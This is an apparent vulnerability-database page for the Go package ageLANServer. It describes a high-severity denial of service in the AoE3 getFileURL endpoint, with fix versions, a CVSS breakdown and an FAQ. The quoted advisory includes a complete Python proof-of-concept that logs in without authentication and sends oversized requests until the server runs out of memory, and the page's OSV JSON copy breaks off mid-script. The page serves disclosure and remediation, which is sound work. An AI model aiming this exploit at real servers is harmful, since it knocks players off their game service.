Vulnerabilities in pkg:golang/github.com/luskaner/ageLANServer/server

PACKAGE
Advisory Identifier: GHSA-4jfq-pmq9-257h
Advisory Summary

CVE-2026-107839 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting ageLANServer libraries in the Go ecosystem. The issue involves unbounded json array allocation in aoe3 cloud `getfileurl` endpoint leads to remote denial of service. Remediation is available by upgrading affected packages to version 1.8.2-0.20260809203301-1dd40166a593.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/luskaner/ageLANServer/server

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/luskaner/ageLANServer/server. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-4jfq-pmq9-257h CVE-2026-107839 HIGH ageLANServer: Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service

CVE-2026-107839 at a Glance

CVE Identifier CVE-2026-107839
GHSA Identifier GHSA-4jfq-pmq9-257h
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product ageLANServer
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-107839

To remediate this vulnerability, upgrade all affected ageLANServer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/luskaner/ageLANServer/server fixed: 1.8.2-0.20260809203301-1dd40166a593
Upgrade github.com/luskaner/ageLANServer/server to 1.8.2-0.20260809203301-1dd40166a593
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/luskaner/ageLANServer/server

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-107839, inspect your project dependencies for ageLANServer:

inspect dependencies for github.com/luskaner/ageLANServer/server

Analyze the terminal output to locate any version of ageLANServer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.8.2-0.20260809203301-1dd40166a593), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In ageLANServer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The AoE3 `POST /game/cloud/getFileURL` handler in `luskaner/ageLANServer`'s bundled game server decodes an attacker-controlled `names` JSON array and immediately allocates response storage sized directly from the array's length (`make(i.A, len(req.Names.Data))`), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with `Authentication = 'disabled'`, any network client can obtain a session through unauthenticated platform login and then send a single crafted request that forces the server to allocate memory proportional to attacker-chosen input. Dynamic testing against an unmodified build confirmed both large memory-amplification growth from a single request and a full server process kill via the kernel OOM killer when a memory-constrained instance received a few concurrent oversized requests. This is a high-severity, pre-authentication (self-registration only) remote denial-of-service vulnerability (CVSS 3.1 Base Score 7.5, CWE-400). ### Details `server/internal/routes/game/cloud/getFileURL.go` defines the request struct and handler for the AoE3 cloud "get file URL" endpoint: ```go type getFileURLRequest struct { Names i.Json[[]string] `json:"names"` } func GetFileURL(w http.ResponseWriter, r *http.Request) { var req getFileURLRequest err := i.Bind(r, &req) ... descriptions := make(i.A, len(req.Names.Data)) for j, name := range req.Names.Data { ... ``` `Names` is typed as `i.Json[[]string]`, a wrapper whose `UnmarshalText` is invoked by `encoding/json` whenever the incoming JSON value for `names` is itself a string, so the attacker supplies a JSON-string-encoded array (e.g. `{"names":"[\"x\",\"x\",...]"}`). The request body is decoded in `server/internal/http.go`'s `Bind()` via `json.NewDecoder(r.Body).Decode(data)`, with no `http.MaxBytesReader`, no `LimitReader`, and no `MaxHeaderBytes` configured on the `http.Server` in `server/internal/cmd/root.go`. There is also no branch-neutral cap on `len(req.Names.Data)` — the same unbounded length is also used at `getFileURL.go:27` (`slices.Repeat(i.A{nil}, len(req.Names.Data))` when the cloud file cache is empty) in addition to the `make(i.A, len(req.Names.Data))` sink at line 30. Because `len()` on the attacker-supplied slice is used directly as an allocation size with no upper bound, an attacker can force the server to allocate memory (and CPU cycles decoding/iterating) proportional to the size of a single HTTP request body, which is itself unbounded. Reaching this code path requires only a valid session, not real game ownership or credentials: - The endpoint is registered for the AoE3 title at `server/internal/routes/router/game.go:267`. - `server/internal/routes/router/sessionMiddleware.go:23-36` only checks that `sessionID` resolves to an existing session — it performs no additional authorization. - The default configuration `server/resources/config/config.toml` sets `Authentication = 'disabled'`. Combined with `server/internal/routes/game/login/platformlogin.go`, which issues a session for any client-supplied `accountType`/`platformUserID` without verifying it against a real platform, an attacker can obtain a valid `sessionID` with a single unauthenticated `platformlogin` request and no prior credentials. Data flow (source → sink): 1. `server/resources/unix/start_age3.sh:4` (or `start_age3.bat`) starts the release server with `-e age3`, the default supported way to run the AoE3 server. 2. `server/internal/routes/router/game.go:267` registers `POST /game/cloud/getFileURL`. 3. `server/internal/routes/router/sessionMiddleware.go:23-36` accepts any request bearing a valid `sessionID`. 4. `server/internal/http.go` decodes the JSON body into `getFileURLRequest` with no size limiting. 5. `server/internal/routes/game/cloud/getFileURL.go:13-19` binds the attacker-controlled `names` array into `req.Names`. 6. `server/internal/routes/game/cloud/getFileURL.go:27` and `:30` allocate slices sized directly by `len(req.Names.Data)`. ### PoC Environment: Docker (see `Dockerfile`), which builds the **unmodified** `server` and `genCert` binaries directly from the repository source at commit `405b9a9` (equivalent to the previously reported `870b90c`) and starts the AoE3 server (`./server -e age3`) with the shipped default configuration (`Authentication = 'disabled'`), only disabling LAN announcement broadcast since it is irrelevant to the sandboxed reproduction. Build and run: ```bash docker build -f vuln-001/Dockerfile -t agelan-vuln001 repo docker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001 ``` Attack script: `poc.py` (see file for full source). At a high level it: 1. Calls `POST /game/login/platformlogin` with an arbitrary Steam-style `accountType`/`platformUserID`/`macAddress` to obtain a session id, exploiting the default `Authentication = 'disabled'` setting. 2. Sends a small baseline `POST /game/cloud/getFileURL?sessionID=<id>` request (`names` array with 5 elements) and records server RSS before/after via `docker exec ... cat /proc/1/status`. 3. Sends a single request with `names` containing 2,000,000 elements and records the resulting RSS growth relative to request size (memory amplification). 4. Against the same container restarted with `--memory=300m`, fires 3 concurrent requests each with `names` containing 3,000,000 elements, then inspects `docker inspect` state to check for an OOM kill. ```bash python3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test ``` Observed results (Phase 2 dynamic reproduction, unmodified source): - Baseline request (`names` count = 5, 43 request bytes): server RSS unchanged (16928 KB → 16928 KB). - Single moderately large request (`names` count = 2,000,000, 12,000,013 request bytes): server RSS jumped from 16,984 KB to 224,724 KB — a growth of 207,740 KB from a ~11.4 MB request (~17.73x amplification of request size in RSS growth). - Concurrent attack phase against the same container limited to `--memory=300m`: 3 concurrent requests of `names` count = 3,000,000 each (18,000,013 bytes each) were sent; all 3 connections failed with `RemoteDisconnected: Remote end closed connection without response`. `docker inspect` confirmed the container transitioned from `status=running, OOMKilled=false` to `status=exited, OOMKilled=true, ExitCode=137` — the kernel OOM killer terminated the server process. No source code in the target repository was modified for this reproduction; the container builds and runs the vulnerable code exactly as shipped. ### Impact This is a remote, network-reachable, pre-authentication (self-registration-only) denial-of-service vulnerability (CWE-400: Uncontrolled Resource Consumption). Any client able to reach the AoE3 game server's HTTPS listener — the default and documented way to run `ageLANServer` for Age of Empires III — can obtain a session via the default unauthenticated login flow and then crash or hang the server process with a single well-crafted HTTP request or a small number of concurrent requests, without needing legitimate game credentials, prior interaction, or user interaction. Impact is availability-only (no confidentiality or integrity impact observed): all players connected to the affected LAN server lose service until the operator restarts the process. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # syntax=docker/dockerfile:1 # # VULN-001 PoC image for luskaner/ageLANServer. # Builds the *unmodified* server and genCert binaries straight from the cloned # repository source (no source-code edits) and runs the AoE3 game server so the # unbounded-allocation "names" array bug in # server/internal/routes/game/cloud/getFileURL.go # can be triggered over the network exactly as an attacker would. # # Build context MUST be the ageLANServer repository root, e.g.: # docker build -f vuln-001/Dockerfile -t agelan-vuln001 <path-to-repo> FROM golang:1.26-alpine3.24 AS compiler WORKDIR /app COPY common common COPY battle-server-broadcast battle-server-broadcast COPY server server COPY server-genCert server-genCert # Combines tools/server-docker/Dockerfile/server/go.work.template and # .../genCert/go.work.template so both the server and genCert binaries # (both needed for this PoC) can be built from one module workspace. RUN printf 'go 1.26.0\n\ntoolchain go1.26.5\n\nuse (\n\tcommon\n\tbattle-server-broadcast\n\tserver\n\tserver-genCert\n)\n' > go.work RUN mkdir build RUN cp -r server/resources build/resources && rm -rf build/resources/windows && rm -rf build/resources/unix RUN mkdir -p build/resources/certificates RUN go build -o build/server ./server RUN mkdir build/bin RUN go build -o build/bin/genCert ./server-genCert FROM alpine:3.24 EXPOSE 443/tcp WORKDIR /app/server COPY --from=compiler /app/build/resources resources COPY --from=compiler /app/build/server . # genCert must live one directory below the server binary (server/bin/genCert) # because it locates the server's resources folder via a relative # "../resources" walk from its own executable path (see # server-genCert/internal/cmd/root.go), same layout as the project's own # tools/server-docker/Dockerfile/genCert/Dockerfile. COPY --from=compiler /app/build/bin bin # Authentication stays at the shipped default ('disabled', see # server/resources/config/config.toml) - nothing about the vulnerable # behavior is modified here. Announcement is turned off only because the # sandbox network does not need LAN discovery for this PoC. ENV AGELANSERVER_SERVER_Announcement_Enabled=false ENTRYPOINT ["/bin/sh", "-c", "./bin/genCert --ignoreIfExisting && exec ./server -e age3 --log --flatLog --logRoot=/app/server/logs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 PoC: unbounded memory allocation via the "names" array in the AoE3 `POST /game/cloud/getFileURL` endpoint of luskaner/ageLANServer (server/internal/routes/game/cloud/getFileURL.go:30). The handler does: descriptions := make(i.A, len(req.Names.Data)) with `req.Names.Data` being an attacker-controlled JSON string array decoded with no size/body/array-length limit anywhere in the stack (server/internal/http.go Bind() -> json.NewDecoder(r.Body).Decode()). This script: 1. Logs in anonymously (Authentication is 'disabled' by default) to obtain a session id via /game/login/platformlogin. 2. Sends a small, harmless getFileURL request as a baseline. 3. Sends a single moderately large getFileURL request and measures the server process RSS growth relative to the request body size (memory amplification evidence). 4. Sends several large getFileURL requests concurrently against a memory-constrained container and checks whether Docker's cgroup OOM killer terminates the server process (crash evidence). Only targets 127.0.0.1 / a local Docker container. No external hosts are contacted, no credentials are used, and the target repository source code is never modified. """ import argparse import concurrent.futures import http.client import json import ssl import subprocess import sys import time import urllib.parse DEFAULT_HOST = "127.0.0.1" DEFAULT_SNI_HOST = "aoe-api.reliclink.com" # matches common.GameHosts() for age3 def make_connection(host, port, timeout=30): ctx = ssl._create_unverified_context() return http.client.HTTPSConnection(host, port, context=ctx, timeout=timeout) def platform_login(host, port, sni_host, platform_user_id, mac_suffix): conn = make_connection(host, port) body = urllib.parse.urlencode({ "accountType": "STEAM", "platformUserID": str(platform_user_id), "alias": "poc", "title": "age3", "macAddress": "00:11:22:33:44:%02x" % mac_suffix, "clientLibVersion": "100", }) headers = { "Content-Type": "application/x-www-form-urlencoded", "Host": sni_host, } conn.request("POST", "/game/login/platformlogin", body=body, headers=headers) resp = conn.getresponse() data = resp.read() conn.close() parsed = json.loads(data) session_id = parsed[1] if not session_id: raise RuntimeError("platformlogin did not return a session id: %r" % (parsed,)) return session_id def build_get_file_url_body(names_count): # getFileURLRequest.Names is i.Json[[]string]; i.Json.UnmarshalText is # invoked by encoding/json only when the JSON value is itself a string, # so the array must be double-encoded: {"names": "[\"x\",\"x\",...]"}. inner = ",".join([r'\"x\"'] * names_count) return ('{"names":"[' + inner + ']"}').encode() def send_get_file_url(host, port, sni_host, session_id, names_count, timeout=30): body = build_get_file_url_body(names_count) conn = make_connection(host, port, timeout=timeout) path = "/game/cloud/getFileURL?sessionID=%s" % urllib.parse.quote(session_id) headers = { "Content-Type": "application/json", "Host": sni_host, } start = time.time() try: conn.request("POST", path, body=body, headers=headers) resp = conn.getresponse() data = resp.read() elapsed = time.time() - start return { "ok": True, "status": resp.status, "response_bytes": len(data), "request_bytes": len(body), "elapsed_sec": round(elapsed, 3), } except Exception as exc: elapsed = time.time() - start return { "ok": False, "error": "%s: %s" % (type(exc).__name__, exc), "request_bytes": len(body), "elapsed_sec": round(elapsed, 3), } finally: try: conn.close() except Exception: pass def docker_exec_rss_kb(container): try: out = subprocess.run( ["docker", "exec", container, "cat", "/proc/1/status"], capture_output=True, text=True, timeout=10, ) if out.returncode != 0: return None for line in out.stdout.splitlines(): if line.startswith("VmRSS:"): return int(line.split()[1]) except Exception: return None return None def docker_inspect_state(container): try: out = subprocess.run( ["docker", "inspect", container, "--format", "{{.State.Status}}|{{.State.OOMKilled}}|{{.State.ExitCode}}"], capture_output=True, text=True, timeout=10, ) if out.returncode != 0: return None status, oom_killed, exit_code = out.stdout.strip().split("|") return { "status": status, "oom_killed": oom_killed == "true", "exit_code": int(exit_code), } except Exception: return None def main(): parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument("--host", default=DEFAULT_HOST, help="Server address (must be local). Default: 127.0.0.1") parser.add_argument("--port", type=int, default=8443, help="Server HTTPS port as published by Docker. Default: 8443") parser.add_argument("--sni-host", default=DEFAULT_SNI_HOST, help="Host header the server routes as the Game handler") parser.add_argument("--container", default="agelan-vuln001-test", help="Docker container name to inspect for OOM / RSS evidence") parser.add_argument("--baseline-names-count", type=int, default=5, help="Array length for the harmless baseline request") parser.add_argument("--moderate-names-count", type=int, default=2_000_000, help="Array length for the single non-destructive amplification request") parser.add_argument("--attack-names-count", type=int, default=3_000_000, help="Array length per concurrent request in the crash phase") parser.add_argument("--attack-concurrency", type=int, default=3, help="Number of concurrent oversized requests fired at the container") parser.add_argument("--skip-crash-phase", action="store_true", help="Only run the baseline + amplification phases (no OOM attempt)") args = parser.parse_args() result = {"host": args.host, "port": args.port, "container": args.container} print("== Phase 1: anonymous login (Authentication='disabled' by default) ==") session_baseline = platform_login(args.host, args.port, args.sni_host, 7656119800000101, 0x01) print("Obtained session id: %s" % session_baseline) result["session_id_baseline"] = session_baseline print("\n== Phase 2: baseline getFileURL request (names count=%d) ==" % args.baseline_names_count) rss_before_baseline = docker_exec_rss_kb(args.container) baseline_resp = send_get_file_url(args.host, args.port, args.sni_host, session_baseline, args.baseline_names_count) rss_after_baseline = docker_exec_rss_kb(args.container) print("Response: %s" % baseline_resp) print("Server RSS before/after (KB): %s / %s" % (rss_before_baseline, rss_after_baseline)) result["baseline"] = { "response": baseline_resp, "server_rss_kb_before": rss_before_baseline, "server_rss_kb_after": rss_after_baseline, } print("\n== Phase 3: single moderately large getFileURL request (names count=%d) ==" % args.moderate_names_count) session_moderate = platform_login(args.host, args.port, args.sni_host, 7656119800000102, 0x02) rss_before_moderate = docker_exec_rss_kb(args.container) moderate_resp = send_get_file_url(args.host, args.port, args.sni_host, session_moderate, args.moderate_names_count) rss_after_moderate = docker_exec_rss_kb(args.container) print("Response: %s" % moderate_resp) print("Server RSS before/after (KB): %s / %s" % (rss_before_moderate, rss_after_moderate)) amplification = None if rss_after_moderate is not None and rss_before_moderate is not None and moderate_resp.get("request_bytes"): rss_growth_kb = rss_after_moderate - rss_before_moderate amplification = round((rss_growth_kb * 1024) / moderate_resp["request_bytes"], 2) print("Memory amplification: %d KB RSS growth from a %d byte request (~%sx request size)" % ( rss_growth_kb, moderate_resp["request_bytes"], amplification)) result["moderate_amplification"] = { "response": moderate_resp, "server_rss_kb_before": rss_before_moderate, "server_rss_kb_after": rss_after_moderate, "amplification_ratio": amplification, } if args.skip_crash_phase: print(json.dumps(result, indent=2)) return 0 print("\n== Phase 4: concurrent oversized getFileURL requests against the memory-constrained container ==") state_before = docker_inspect_state(args.container) print("Container state before attack: %s" % state_before) result["container_state_before_attack"] = state_before sessions = [] for idx in range(args.attack_concurrency): sess = platform_login(args.host, args.port, args.sni_host, 7656119800000200 + idx, 0x10 + idx) sessions.append(sess) print("Obtained %d attacker sessions: %s" % (len(sessions), sessions)) attack_responses = [] with concurrent.futures.ThreadPoolExecutor(max_workers=args.attack_concurrency) as pool: futures = [ pool.submit(send_get_file_url, args.host, args.port, args.sni_host, sess, args.attack_names_count, 60) for sess in sessions ] for fut in concurrent.futures.as_completed(futures): attack_responses.append(fut.result()) print("Attack request outcomes: %s" % attack_responses) result["attack_responses"] = attack_responses state_after = None for _ in range(15): time.sleep(1) state_after = docker_inspect_state(args.container) if state_after and state_after["status"] != "running": break print("Container state after attack: %s" % state_after) result["container_state_after_attack"] = state_after oom_killed = bool(state_after and state_after.get("oom_killed")) result["oom_killed"] = oom_killed result["verdict"] = "VULNERABLE (container OOM-killed by attacker-controlled allocation)" if oom_killed else "NOT REPRODUCED (container survived)" print("\n== Result ==") print(json.dumps(result, indent=2)) return 0 if oom_killed else 1 if __name__ == "__main__": sys.exit(main()) ```

CVE-2026-107839 Affected ageLANServer Versions

1 component(s)
Fixed Versions:
1.8.2-0.20260809203301-1dd40166a593
Product / Package Ecosystem Affected Versions Fixed Version
github.com/luskaner/ageLANServer/server
Go
< 1.8.2-0.20260809203301-1dd40166a593
1.8.2-0.20260809203301-1dd40166a593

References

Frequently Asked Questions

What is CVE-2026-107839?
CVE-2026-107839 is a security vulnerability in ageLANServer involving Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service under CWE-400: Uncontrolled Resource Consumption.
Which ageLANServer versions are affected?
Affected versions include releases prior to 1.8.2-0.20260809203301-1dd40166a593 across affected packages: github.com/luskaner/ageLANServer/server.
What version fixes CVE-2026-107839?
Upgrading to 1.8.2-0.20260809203301-1dd40166a593 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/luskaner/ageLANServer/server affected?
Yes, github.com/luskaner/ageLANServer/server is affected in releases prior to 1.8.2-0.20260809203301-1dd40166a593. Upgrade your dependency to 1.8.2-0.20260809203301-1dd40166a593 or later.
What is the CVSS score of CVE-2026-107839?
CVE-2026-107839 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-107839?
CVE-2026-107839 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Go dependencies for CVE-2026-107839?
Run the dependency tree command: 'inspect dependencies for github.com/luskaner/ageLANServer/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4jfq-pmq9-257h",
  "modified" : "2026-10-09T20:44:54Z",
  "published" : "2026-10-09T20:44:54Z",
  "aliases" : [ "CVE-2026-107839" ],
  "summary" : "ageLANServer: Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service",
  "details" : "### Summary\nThe AoE3 `POST /game/cloud/getFileURL` handler in `luskaner/ageLANServer`'s bundled game server decodes an attacker-controlled `names` JSON array and immediately allocates response storage sized directly from the array's length (`make(i.A, len(req.Names.Data))`), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with `Authentication = 'disabled'`, any network client can obtain a session through unauthenticated platform login and then send a single crafted request that forces the server to allocate memory proportional to attacker-chosen input. Dynamic testing against an unmodified build confirmed both large memory-amplification growth from a single request and a full server process kill via the kernel OOM killer when a memory-constrained instance received a few concurrent oversized requests. This is a high-severity, pre-authentication (self-registration only) remote denial-of-service vulnerability (CVSS 3.1 Base Score 7.5, CWE-400).\n\n### Details\n`server/internal/routes/game/cloud/getFileURL.go` defines the request struct and handler for the AoE3 cloud \"get file URL\" endpoint:\n\n```go\ntype getFileURLRequest struct {\n\tNames i.Json[[]string] `json:\"names\"`\n}\n\nfunc GetFileURL(w http.ResponseWriter, r *http.Request) {\n\tvar req getFileURLRequest\n\terr := i.Bind(r, &req)\n\t...\n\tdescriptions := make(i.A, len(req.Names.Data))\n\tfor j, name := range req.Names.Data {\n\t...\n```\n\n`Names` is typed as `i.Json[[]string]`, a wrapper whose `UnmarshalText` is invoked by `encoding/json` whenever the incoming JSON value for `names` is itself a string, so the attacker supplies a JSON-string-encoded array (e.g. `{\"names\":\"[\\\"x\\\",\\\"x\\\",...]\"}`). The request body is decoded in `server/internal/http.go`'s `Bind()` via `json.NewDecoder(r.Body).Decode(data)`, with no `http.MaxBytesReader`, no `LimitReader`, and no `MaxHeaderBytes` configured on the `http.Server` in `server/internal/cmd/root.go`. There is also no branch-neutral cap on `len(req.Names.Data)` — the same unbounded length is also used at `getFileURL.go:27` (`slices.Repeat(i.A{nil}, len(req.Names.Data))` when the cloud file cache is empty) in addition to the `make(i.A, len(req.Names.Data))` sink at line 30.\n\nBecause `len()` on the attacker-supplied slice is used directly as an allocation size with no upper bound, an attacker can force the server to allocate memory (and CPU cycles decoding/iterating) proportional to the size of a single HTTP request body, which is itself unbounded.\n\nReaching this code path requires only a valid session, not real game ownership or credentials:\n- The endpoint is registered for the AoE3 title at `server/internal/routes/router/game.go:267`.\n- `server/internal/routes/router/sessionMiddleware.go:23-36` only checks that `sessionID` resolves to an existing session — it performs no additional authorization.\n- The default configuration `server/resources/config/config.toml` sets `Authentication = 'disabled'`. Combined with `server/internal/routes/game/login/platformlogin.go`, which issues a session for any client-supplied `accountType`/`platformUserID` without verifying it against a real platform, an attacker can obtain a valid `sessionID` with a single unauthenticated `platformlogin` request and no prior credentials.\n\nData flow (source → sink):\n1. `server/resources/unix/start_age3.sh:4` (or `start_age3.bat`) starts the release server with `-e age3`, the default supported way to run the AoE3 server.\n2. `server/internal/routes/router/game.go:267` registers `POST /game/cloud/getFileURL`.\n3. `server/internal/routes/router/sessionMiddleware.go:23-36` accepts any request bearing a valid `sessionID`.\n4. `server/internal/http.go` decodes the JSON body into `getFileURLRequest` with no size limiting.\n5. `server/internal/routes/game/cloud/getFileURL.go:13-19` binds the attacker-controlled `names` array into `req.Names`.\n6. `server/internal/routes/game/cloud/getFileURL.go:27` and `:30` allocate slices sized directly by `len(req.Names.Data)`.\n\n### PoC\nEnvironment: Docker (see `Dockerfile`), which builds the **unmodified** `server` and `genCert` binaries directly from the repository source at commit `405b9a9` (equivalent to the previously reported `870b90c`) and starts the AoE3 server (`./server -e age3`) with the shipped default configuration (`Authentication = 'disabled'`), only disabling LAN announcement broadcast since it is irrelevant to the sandboxed reproduction.\n\nBuild and run:\n```bash\ndocker build -f vuln-001/Dockerfile -t agelan-vuln001 repo\ndocker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001\n```\n\nAttack script: `poc.py` (see file for full source). At a high level it:\n1. Calls `POST /game/login/platformlogin` with an arbitrary Steam-style `accountType`/`platformUserID`/`macAddress` to obtain a session id, exploiting the default `Authentication = 'disabled'` setting.\n2. Sends a small baseline `POST /game/cloud/getFileURL?sessionID=<id>` request (`names` array with 5 elements) and records server RSS before/after via `docker exec ... cat /proc/1/status`.\n3. Sends a single request with `names` containing 2,000,000 elements and records the resulting RSS growth relative to request size (memory amplification).\n4. Against the same container restarted with `--memory=300m`, fires 3 concurrent requests each with `names` containing 3,000,000 elements, then inspects `docker inspect` state to check for an OOM kill.\n\n```bash\npython3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test\n```\n\nObserved results (Phase 2 dynamic reproduction, unmodified source):\n- Baseline request (`names` count = 5, 43 request bytes): server RSS unchanged (16928 KB → 16928 KB).\n- Single moderately large request (`names` count = 2,000,000, 12,000,013 request bytes): server RSS jumped from 16,984 KB to 224,724 KB — a growth of 207,740 KB from a ~11.4 MB request (~17.73x amplification of request size in RSS growth).\n- Concurrent attack phase against the same container limited to `--memory=300m`: 3 concurrent requests of `names` count = 3,000,000 each (18,000,013 bytes each) were sent; all 3 connections failed with `RemoteDisconnected: Remote end closed connection without response`. `docker inspect` confirmed the container transitioned from `status=running, OOMKilled=false` to `status=exited, OOMKilled=true, ExitCode=137` — the kernel OOM killer terminated the server process.\n\nNo source code in the target repository was modified for this reproduction; the container builds and runs the vulnerable code exactly as shipped.\n\n### Impact\nThis is a remote, network-reachable, pre-authentication (self-registration-only) denial-of-service vulnerability (CWE-400: Uncontrolled Resource Consumption). Any client able to reach the AoE3 game server's HTTPS listener — the default and documented way to run `ageLANServer` for Age of Empires III — can obtain a session via the default unauthenticated login flow and then crash or hang the server process with a single well-crafted HTTP request or a small number of concurrent requests, without needing legitimate game credentials, prior interaction, or user interaction. Impact is availability-only (no confidentiality or integrity impact observed): all players connected to the affected LAN server lose service until the operator restarts the process.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC image for luskaner/ageLANServer.\n# Builds the *unmodified* server and genCert binaries straight from the cloned\n# repository source (no source-code edits) and runs the AoE3 game server so the\n# unbounded-allocation \"names\" array bug in\n#   server/internal/routes/game/cloud/getFileURL.go\n# can be triggered over the network exactly as an attacker would.\n#\n# Build context MUST be the ageLANServer repository root, e.g.:\n#   docker build -f vuln-001/Dockerfile -t agelan-vuln001 <path-to-repo>\n\nFROM golang:1.26-alpine3.24 AS compiler\nWORKDIR /app\nCOPY common common\nCOPY battle-server-broadcast battle-server-broadcast\nCOPY server server\nCOPY server-genCert server-genCert\n# Combines tools/server-docker/Dockerfile/server/go.work.template and\n# .../genCert/go.work.template so both the server and genCert binaries\n# (both needed for this PoC) can be built from one module workspace.\nRUN printf 'go 1.26.0\\n\\ntoolchain go1.26.5\\n\\nuse (\\n\\tcommon\\n\\tbattle-server-broadcast\\n\\tserver\\n\\tserver-genCert\\n)\\n' > go.work\nRUN mkdir build\nRUN cp -r server/resources build/resources && rm -rf build/resources/windows && rm -rf build/resources/unix\nRUN mkdir -p build/resources/certificates\nRUN go build -o build/server ./server\nRUN mkdir build/bin\nRUN go build -o build/bin/genCert ./server-genCert\n\nFROM alpine:3.24\nEXPOSE 443/tcp\nWORKDIR /app/server\nCOPY --from=compiler /app/build/resources resources\nCOPY --from=compiler /app/build/server .\n# genCert must live one directory below the server binary (server/bin/genCert)\n# because it locates the server's resources folder via a relative\n# \"../resources\" walk from its own executable path (see\n# server-genCert/internal/cmd/root.go), same layout as the project's own\n# tools/server-docker/Dockerfile/genCert/Dockerfile.\nCOPY --from=compiler /app/build/bin bin\n# Authentication stays at the shipped default ('disabled', see\n# server/resources/config/config.toml) - nothing about the vulnerable\n# behavior is modified here. Announcement is turned off only because the\n# sandbox network does not need LAN discovery for this PoC.\nENV AGELANSERVER_SERVER_Announcement_Enabled=false\nENTRYPOINT [\"/bin/sh\", \"-c\", \"./bin/genCert --ignoreIfExisting && exec ./server -e age3 --log --flatLog --logRoot=/app/server/logs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: unbounded memory allocation via the \"names\" array in the\nAoE3 `POST /game/cloud/getFileURL` endpoint of luskaner/ageLANServer\n(server/internal/routes/game/cloud/getFileURL.go:30).\n\nThe handler does:\n    descriptions := make(i.A, len(req.Names.Data))\nwith `req.Names.Data` being an attacker-controlled JSON string array decoded\nwith no size/body/array-length limit anywhere in the stack\n(server/internal/http.go Bind() -> json.NewDecoder(r.Body).Decode()).\n\nThis script:\n  1. Logs in anonymously (Authentication is 'disabled' by default) to obtain\n     a session id via /game/login/platformlogin.\n  2. Sends a small, harmless getFileURL request as a baseline.\n  3. Sends a single moderately large getFileURL request and measures the\n     server process RSS growth relative to the request body size\n     (memory amplification evidence).\n  4. Sends several large getFileURL requests concurrently against a\n     memory-constrained container and checks whether Docker's cgroup OOM\n     killer terminates the server process (crash evidence).\n\nOnly targets 127.0.0.1 / a local Docker container. No external hosts are\ncontacted, no credentials are used, and the target repository source code\nis never modified.\n\"\"\"\n\nimport argparse\nimport concurrent.futures\nimport http.client\nimport json\nimport ssl\nimport subprocess\nimport sys\nimport time\nimport urllib.parse\n\nDEFAULT_HOST = \"127.0.0.1\"\nDEFAULT_SNI_HOST = \"aoe-api.reliclink.com\"  # matches common.GameHosts() for age3\n\n\ndef make_connection(host, port, timeout=30):\n    ctx = ssl._create_unverified_context()\n    return http.client.HTTPSConnection(host, port, context=ctx, timeout=timeout)\n\n\ndef platform_login(host, port, sni_host, platform_user_id, mac_suffix):\n    conn = make_connection(host, port)\n    body = urllib.parse.urlencode({\n        \"accountType\": \"STEAM\",\n        \"platformUserID\": str(platform_user_id),\n        \"alias\": \"poc\",\n        \"title\": \"age3\",\n        \"macAddress\": \"00:11:22:33:44:%02x\" % mac_suffix,\n        \"clientLibVersion\": \"100\",\n    })\n    headers = {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n        \"Host\": sni_host,\n    }\n    conn.request(\"POST\", \"/game/login/platformlogin\", body=body, headers=headers)\n    resp = conn.getresponse()\n    data = resp.read()\n    conn.close()\n    parsed = json.loads(data)\n    session_id = parsed[1]\n    if not session_id:\n        raise RuntimeError(\"platformlogin did not return a session id: %r\" % (parsed,))\n    return session_id\n\n\ndef build_get_file_url_body(names_count):\n    # getFileURLRequest.Names is 